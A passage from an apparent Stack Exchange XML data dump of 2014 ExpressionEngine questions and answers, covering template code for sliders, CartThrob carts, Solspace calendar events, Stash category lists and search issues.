{/exp:channel:entries}      &#xA;     &amp;lt;/div&amp;gt;&amp;lt;!-- /.shell --&amp;gt;&#xA;     &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;home_slider&quot; limit=&quot;4&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;li class=&quot;slide&quot;&amp;gt;&#xA;           &amp;lt;img src=&quot;{home_slider_image}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;     &amp;lt;/ul&amp;gt;&amp;lt;!-- /.slides --&amp;gt;&#xA;     &amp;lt;div class=&quot;shell&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;slider-paging&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- /.slider-paging --&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!-- /.shell --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- /.slider --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm thinking the answer lies in being clever with an {if count} approach, but I'm scratching my head on this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any words of advice? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: To make this even more frustrating, a long time ago I dealt with a similar problem and fixed it.. But I don't have access (nor even remember the url) to that site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Upon further investigation.. It seems that this slider they chose isn't actually transitioning\hiding the slide text- only the slide images themselves. Curious. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems the issue isn't with me per se but with their code.&lt;/p&gt;&#xA;" OwnerUserId="2559" LastEditorUserId="2559" LastEditDate="2014-04-02T16:42:13.447" LastActivityDate="2014-04-03T09:25:12.730" Title="ExpressionEngine + Slider, how do I get it to display correctly?" Tags="|count|html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20930" PostTypeId="1" CreationDate="2014-04-02T17:18:01.170" Score="0" ViewCount="71" Body="&lt;p&gt;I'm working on a site using EE 2.8.1. I have links for CSS files using EE stylesheet links, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{stylesheet=global/main.css}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Never had an issue with this approach before, but when pages are served up it's coming out as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;http://domain.dev///////////////////?css=global/main.css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the cause of this? Any tips greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Site is also using Structure, and .htaccess rewrite to remove index.php from URLs -- also a combination I've used before with stylesheet links with no problems.)&lt;/p&gt;&#xA;" OwnerUserId="2726" LastActivityDate="2014-05-02T18:15:50.967" Title="Stylesheet link renders with very wrong path" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20931" PostTypeId="2" ParentId="19732" CreationDate="2014-04-02T17:19:45.187" Score="1" Body="&lt;p&gt;Just ran across your question now. Perhaps this answer will help others who are looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link goes to an archived Cartthrob forum question/answer from April 2012 which solved the problem for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/forums/viewthread/5195/#23632&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cartthrob.com/forums/viewthread/5195/#23632&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are you asking about the example cart/checkout template? There looks&#xA;  to be an error that is keeping the selects from updating in the&#xA;  shipping fields. If you’re using the default cart, open the&#xA;  cart/_header template and change $(“input to $(”:input in the code&#xA;  that updates the shipping fields.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Edited to add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of JQuery 1.7, you should use .on() instead of .live() so you should check that out as well. Here's a brief explanation: &#xA;&lt;a href=&quot;https://stackoverflow.com/questions/18395786/live-not-working-with-change-function&quot;&gt;https://stackoverflow.com/questions/18395786/live-not-working-with-change-function&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="997" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-04-02T18:55:16.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20932" PostTypeId="2" ParentId="20930" CreationDate="2014-04-02T17:27:46.293" Score="1" Body="&lt;p&gt;At a guess this looks like an htaccess rewrite problem. (do you need the .css on the filename?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I'd say unless you are using some EE tags in your stylesheets then don't link them up that way and just link to them normally. You're simply adding to the processing required to render your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will, most likely, also stop the problem you're having.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-02T17:27:46.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20933" PostTypeId="1" AcceptedAnswerId="21647" CreationDate="2014-04-02T17:47:59.327" Score="1" ViewCount="91" Body="&lt;p&gt;I am using EE2.8.1 with Cartthrob 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cartthrob {exp:cartthrob:add_to_cart_form} tag pair is working as intended, and passes the title and price of the specified entry_id without a problem.  However, when attempting to do the same with the single {exp:cartthrob:add_to_cart} tag the title and price seem to not be passed and do not show up in the cart when attempting to view with cart_items_info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the workaround in this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18812/after-upgrading-to-cartthrob-2-5-cart-items-info-no-longer-working&quot;&gt;question&lt;/a&gt;, but it appears to be a different issue as the cart_items_info tag is working with the add_to_cart_form in my case, just not with add_to_cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For completeness sake, here is the working template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form entry_id=&quot;90&quot;}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;add to cart&quot;&amp;gt;&#xA;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the template code that does not pass the title or price:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart entry_id=&quot;90&quot; quantity=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this a bug?  I suppose I could also try to auto-submit the form version using some javascript, but obviously a native solution would be preferable.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-05-03T17:08:19.990" Title="cartthrob 2.5: add_to_cart Tag Not Passing Title Or Price To cart_items_info" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20934" PostTypeId="1" CreationDate="2014-04-02T17:52:54.990" Score="1" ViewCount="93" Body="&lt;p&gt;I have a News &amp;amp; Highlights section on a site homepage where I'm trying to pull in entries from either a News channel or the Calendar. For both it should pull in the latest 3 entries that are tagged with a category (Featured). I have it working for the most part, except that I am unable to show the date of the event from the Solspace calendar. I realize this is due to the fact that the date is not stored in the channel entries, but needs to be pulled in via calendar:events. However, when I do this, I am getting the same date for all events output. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           &amp;lt;h1 class=&quot;head&quot;&amp;gt;&amp;lt;a href=&quot;/News-and-Highlights&quot;&amp;gt;News and Highlights&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;news|calendar_events&quot; category=&quot;17&quot; limit=&quot;3&quot;}&#xA;    &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;    {if news_body != &quot;&quot;}&amp;lt;a href=&quot;{url_title_path=&quot;News-and-Highlights/Story/&quot;}&quot;&amp;gt;&#xA;    {if:else}&amp;lt;a href=&quot;{url_title_path=&quot;Calendar/Event/&quot;}&quot;&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;span class=&quot;link-spanner&quot;&amp;gt;&#xA;&#xA;          &amp;lt;div class=&quot;row-fluid news-header&quot;&amp;gt;&#xA;            {if news_picture==&quot;&quot;}&amp;lt;a href=&quot;{url_title_path=&quot;News-and-Highlights/Story/&quot;}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img class=&quot;news-photo&quot; src=&quot;/Default_Images/logoDefault.png&quot; alt=&quot;&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;            {if:else}&amp;lt;a href=&quot;{url_title_path=&quot;News-and-Highlights/Story/&quot;}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img class=&quot;news-photo&quot; src=&quot;{news_picture}&quot; alt=&quot;&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;div class=&quot;news-inner&quot;&amp;gt;&#xA;              {if news_date != &quot;&quot;}&amp;lt;span class=&quot;date-meta&quot;&amp;gt;&amp;lt;a style=&quot;color:#989898;&quot; href=&quot;{url_title_path=&quot;News-and-Highlights/Story/&quot;}&quot; title=&quot;{title}&quot;&amp;gt;{news_date format=&quot;%F %d, %Y&quot;}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;              {if:elseif news_body != &quot;&quot;}&amp;lt;span class=&quot;date-meta&quot;&amp;gt;&amp;lt;a style=&quot;color:#989898;&quot; href=&quot;{url_title_path=&quot;News-and-Highlights/Story/&quot;}&quot; title=&quot;{title}&quot;&amp;gt;Announcement&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;              {if:else} &amp;lt;span class=&quot;date-meta&quot;&amp;gt;&amp;lt;a style=&quot;color:#989898;&quot; href=&quot;{url_title_path=&quot;Calendar/Event/&quot;}&quot; title=&quot;{title}&quot;&amp;gt;{exp:calendar:events limit=&quot;1&quot;}{event_start_date format=&quot;%F %d, %Y&quot;}{/exp:calendar:events}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;              {/if}&#xA;              &amp;lt;h3&amp;gt;&amp;lt;a style=&quot;color:#4463A0;&quot; href=&quot;{url_title_path=&quot;News-and-Highlights/Story/&quot;}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;              &amp;lt;h3 class=&quot;italics&quot;&amp;gt;{if news_author != ''}{news_author}{/if}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;          &amp;lt;/div&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt;&#xA;        {if news_body != &quot;&quot;}{exp:sk_excerpt chars='200'}{news_body}{/exp:sk_excerpt}&#xA;        {if:else}{exp:sk_excerpt chars='200'}{event_summary}{/exp:sk_excerpt}&#xA;        {/if}&#xA;          &amp;lt;/p&amp;gt;&#xA;          &amp;lt;div class=&quot;triangle-bottom-right&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;          &amp;lt;a class=&quot;read-more&quot; href=&quot;{url_title_path=&quot;News-and-Highlights/Story/&quot;}&quot; title=&quot;{title}&quot;&amp;gt;Read More &amp;lt;i class=&quot;icon-caret-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/span&amp;gt;        {/exp:channel:entries}&#xA;      &amp;lt;/div&amp;gt;  &amp;lt;!-- end news --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2925" LastActivityDate="2014-05-03T16:25:47.597" Title="Solspace Calendar &quot;Featured&quot; events" Tags="|solspace|calendar|calendar-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20935" PostTypeId="1" AcceptedAnswerId="20964" CreationDate="2014-04-02T18:30:40.763" Score="0" ViewCount="207" Body="&lt;p&gt;So I have several Channel Data that I'm pulling into a Product page: Accessories, Options, Features, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Accessories I have all of the associated products pulled in, but now I want to pull in the categories for each product but only once. When I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;products_accessories&quot; field=&quot;{{embed:slug}_accessories}&quot; disable=&quot;members&quot;}&#xA;{categories}&amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url_title_path='products/accessories/'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;{/categories}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that just gives me all the Categories for each product over and over again. Obviously not what I want. I just want to find each Category and list it once along with a link to that product category page :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_archive channel=&quot;products_accessories&quot;}&#xA;    {categories}&#xA;            &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;    {exp:playa:parents channel=&quot;products_accessories&quot; field=&quot;{{embed:slug}_accessories}&quot; category=&quot;{category_id}&quot; disable=&quot;members&quot;}&#xA;            &amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    {/exp:playa:parents}&#xA;&#xA;    {/categories}&#xA;{/exp:channel:category_archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gets me all of the entries in the appropriate category but I also get all of the other Categories too. I need a way to pass the Entry IDs that I want to the Category Archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2 USING STASH&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried what the might Croxton suggested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;cat_accessories&quot; parse_tags=&quot;yes&quot;}&#xA;   {exp:playa:parents channel=&quot;products_accessories&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;members&quot;}&#xA;      {categories}&#xA;         {stash:id}{category_id}{/stash:id}&#xA;         {stash:url}{url_title_path='products/accessories/'}{/stash:url}&#xA;         {stash:name}{category_name}{/stash:name}&#xA;      {/categories}&#xA;   {/exp:playa:parents}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- get unique list items only --}&#xA;{exp:stash:get_list name=&quot;cat_accessories&quot; unique=&quot;yes&quot;}&#xA;   &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;       &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{name} | {id}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm still just getting the category listed each time an entry loop is parsed (the entry detail page loops it through 6 times):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Category&#xA;Category&#xA;Category&#xA;Category&#xA;Category&#xA;Category&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm not sure what's happening with the &lt;code&gt;unique=&quot;yes&quot;&lt;/code&gt; parameter on the &lt;code&gt;exp:stash:get_list&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run Template Debugging I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.453361 / 16.55MB)      Stash: SET cat_accessories to value id|=|102|&amp;amp;|url|=|http://animalcaresystems.dev/products/accessories/bedding-1-4-corn-cob-nestpacks|&amp;amp;|name|=|Single Use Caging Options|+|id|=|102|&amp;amp;|url|=|http://animalcaresystems.dev/products/accessories/single-use-cage-top-for-sipper-sack|&amp;amp;|name|=|Single Use Caging Options|+|id|=|102|&amp;amp;|url|=|http://animalcaresystems.dev/products/accessories/single-use-cage-top-for-water-bag|&amp;amp;|name|=|Single Use Caging Options|+|id|=|102|&amp;amp;|url|=|http://animalcaresystems.dev/products/accessories/single-use-cage-top-for-water-bottle|&amp;amp;|name|=|Single Use Caging Options|+|id|=|102|&amp;amp;|url|=|http://animalcaresystems.dev/products/accessories/single-use-docking-tray|&amp;amp;|name|=|Single Use Caging Options|+|id|=|102|&amp;amp;|url|=|http://animalcaresystems.dev/products/accessories/single-use-water-bottle-assembly|&amp;amp;|name|=|Single Use Caging Options&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that Stash grabs the ID of the category to determine if the Categories are the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE FINAL&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Croxton's help I now have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;cat_accessories&quot; parse_tags=&quot;yes&quot;}&#xA;   {exp:playa:parents channel=&quot;products_accessories&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;members&quot;}&#xA;      {categories}&#xA;         {stash:id}{category_id}{/stash:id}&#xA;         {stash:url}{url_title_path='/products/accessories/'}{/stash:url}&#xA;         {stash:name}{category_name}{/stash:name}&#xA;      {/categories}&#xA;      {stash:product_title}{title}{/stash:product_title}&#xA;      {stash:product_image}{if products_accessories_images}&amp;lt;div class=&quot;accessories_image&quot;&amp;gt;{products_accessories_images limit=&quot;1&quot;}&amp;lt;p&amp;gt;&amp;lt;img src=&quot;{exp:ce_img:single src='/images/uploads/products/{image}'{sn_image_product_detail_accessories}}&quot; alt=&quot;{alt}&quot; class=&quot;img-responsive text-center&quot; /&amp;gt;{/products_accessories_images}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;{/if}{/stash:product_image}&#xA;      {stash:product_content}{if products_accessories_content}&amp;lt;p&amp;gt;{exp:eehive_hacksaw chars='175'}{products_accessories_content}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;{/if}{/stash:product_content}&#xA;   {/exp:playa:parents}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- get unique list items only --}&#xA;{exp:stash:get_list name=&quot;cat_accessories&quot; unique=&quot;id&quot;}&#xA;    &amp;lt;h3&amp;gt;{name}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-4 accessories_listings&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{product_title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {product_image}&#xA;        {product_content}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last thing I need is just all of the Products under that Category. I'm only getting ONE product although there are SIX under this particular category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GETTING ALL PRODUCTS UNDER CATEGORY WITH STASH&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Missing Getting Products JUST in it's Category (almost there!)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay I think I have what I want, please let me know if there's a better way of doing this :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;cat_accessories&quot; parse_tags=&quot;yes&quot;}&#xA;   {exp:playa:parents channel=&quot;products_accessories&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;members&quot;}&#xA;      {categories}&#xA;         {stash:id}{category_id}{/stash:id}&#xA;         {stash:name}{category_name}{/stash:name}&#xA;      {/categories}&#xA;   {/exp:playa:parents}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:set_list name=&quot;product_info&quot; parse_tags=&quot;yes&quot;}&#xA;   {exp:playa:parents channel=&quot;products_accessories&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;members&quot;}&#xA;      {stash:product_url}{url_title_path='/products/accessories/'}{/stash:product_url}&#xA;      {stash:product_title}{title}{/stash:product_title}&#xA;      {stash:product_image}{if products_accessories_images}&amp;lt;div class=&quot;accessories_image&quot;&amp;gt;{products_accessories_images limit=&quot;1&quot;}&amp;lt;p&amp;gt;&amp;lt;img src=&quot;{exp:ce_img:single src='/images/uploads/products/{image}'{sn_image_product_detail_accessories}}&quot; alt=&quot;{alt}&quot; class=&quot;img-responsive text-center&quot; /&amp;gt;{/products_accessories_images}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;{/if}{/stash:product_image}&#xA;      {stash:product_content}{if products_accessories_content}&amp;lt;p&amp;gt;{exp:eehive_hacksaw chars='175'}{products_accessories_content}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;{/if}{/stash:product_content}&#xA;   {/exp:playa:parents}&#xA;{/exp:stash:set_list}&#xA;&#xA;    {!-- get unique categories items only --}&#xA;    {exp:stash:get_list name=&quot;cat_accessories&quot; unique=&quot;id&quot;}&#xA;        &amp;lt;h3&amp;gt;{name}&amp;lt;/h3&amp;gt;&#xA;        {!-- get products that belong to this category --}&#xA;        {exp:stash:get_list:nested name=&quot;product_info&quot; parse_tags=&quot;yes&quot;}&#xA;        &amp;lt;div class=&quot;col-md-4 accessories_listings&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{product_url}&quot;&amp;gt;{product_title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {product_image}&#xA;            {product_content}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks again for all of the help!&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditDate="2014-04-03T19:47:13.610" LastActivityDate="2014-04-04T14:46:57.167" Title="Playa // Entries // Category Archive?" Tags="|playa|categories|entry|category-archive|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20936" PostTypeId="2" ParentId="20934" CreationDate="2014-04-02T18:43:55.300" Score="1" Body="&lt;p&gt;try adding this to your calendar:events tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;event_id=&quot;{entry_id}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to stick it into an embed if nesting a calendar tag inside a channel entries tag gives you trouble.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDITED&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe A better approach to accomplish what you're after would be to use a {exp:channel:entries} tag for your news and a {exp:calendar:cal} tag for your events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to limit the number of events returned by calendar tag see the event_limit parameter and this example.&#xA;&lt;a href=&quot;http://www.solspace.com/docs/calendar/calendar/#examples&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/calendar/#examples&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to get 3 entries from either channel would be tricky. A couple ideas are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You could build a stash list from the 2 tags and output only 3 items&lt;/li&gt;&#xA;&lt;li&gt;You could try to tweak the calendar_events entries entry_date (not calendar field date) and sort by it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Without knowing a little more about what the news and events entries look like that's about all I can think of.&lt;/p&gt;&#xA;" OwnerUserId="336" LastEditorUserId="336" LastEditDate="2014-04-03T16:24:12.653" LastActivityDate="2014-04-03T16:24:12.653" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20937" PostTypeId="1" AcceptedAnswerId="20948" CreationDate="2014-04-02T18:59:57.620" Score="0" ViewCount="65" Body="&lt;p&gt;A few years back, I worked on a client EE project that involved deleting thousands of existing entries. A fellow EE developer showed me that you could append the query string with a variable that will tell EE to display more than just the standard 50 entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/admin.php?D=cp&amp;amp;C=content_edit&amp;amp;{mystery_variable}=200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I remember using it, and it being a lifesaver, but I've forgotten what the actual variable is, and have had no luck searching for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ty&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2014-04-02T21:50:25.407" Title="Increase number of channel entries displayed in control panel" Tags="|control-panel|entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20938" PostTypeId="2" ParentId="20924" CreationDate="2014-04-02T19:07:03.873" Score="1" Body="&lt;p&gt;Just create your products as normal based on a download option. Then add a product '&lt;em&gt;modifier&lt;/em&gt;' for '&lt;em&gt;CD&lt;/em&gt;' which includes the extra cost associated with a physical version of the product. Ensure that you also setting any associated shipping or handling charges for delivered goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the product page of your site the user can choose which they'd prefer and see the extra costs for the CD option. During checkout you could optionally loop through the contents of the cart to check if a CD option has been selected and if so use that to display the shipping details and options. If not then you can skip the shipping info step in the checkout and just collect the billing details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's not much more to it than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store provides a &lt;a href=&quot;https://exp-resso.com/docs/download_tag.html&quot; rel=&quot;nofollow&quot;&gt;Download tag&lt;/a&gt; providing a way to serve up simple file downloads but if you need anything more fancy such as auto-zipping multiple audio files or serving them encrypted/secured then you may need to look into using &lt;a href=&quot;http://devot-ee.com/search/tags/tag/downloads&quot; rel=&quot;nofollow&quot;&gt;other addons&lt;/a&gt; which can enhance this functionality.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-02T19:07:03.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20939" PostTypeId="1" AcceptedAnswerId="24748" CreationDate="2014-04-02T19:07:48.023" Score="1" ViewCount="41" Body="&lt;p&gt;We have an EE 2.7.2 installation with a search feature produces random results.  Sometimes, a keyword that definitely exists on the site returns results when entered into the search box, but other times, it will produce a &quot;no results found&quot;.  Same keyword, same browser, different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, if I search for the keyword four or five times, a result is eventually displayed.  Other times, a keyword produces instant results from the first search.  There's no rhyme or reason for the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2926" LastActivityDate="2014-07-29T17:32:20.043" Title="Random search results" Tags="|ee2|search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20940" PostTypeId="2" ParentId="20880" CreationDate="2014-04-02T19:17:38.313" Score="1" Body="&lt;p&gt;Not per category as such but you can set this per product on the Product entry/edit page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cTlxL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you can run your own conditional check to see if the customer has at least 5 products of a particular category in their cart but this would need to be done in the cart/checkout as the product page would be a bit pre-mature (they may go on to view other products in the same category and add those to their cart). This wouldn't be great for usability as they'd only find out once they're ready to checkout. If you're going to do things that way then be sure to make a clear note on the product pages or on a global area of the site to try and prevent any annoyances when it comes to the checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to play with the conditional logic to loop through the items, tally up associated item counts and then compare that to categories. It may be a little tricky but certainly possible.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2014-04-02T22:26:59.640" LastActivityDate="2014-04-02T22:26:59.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
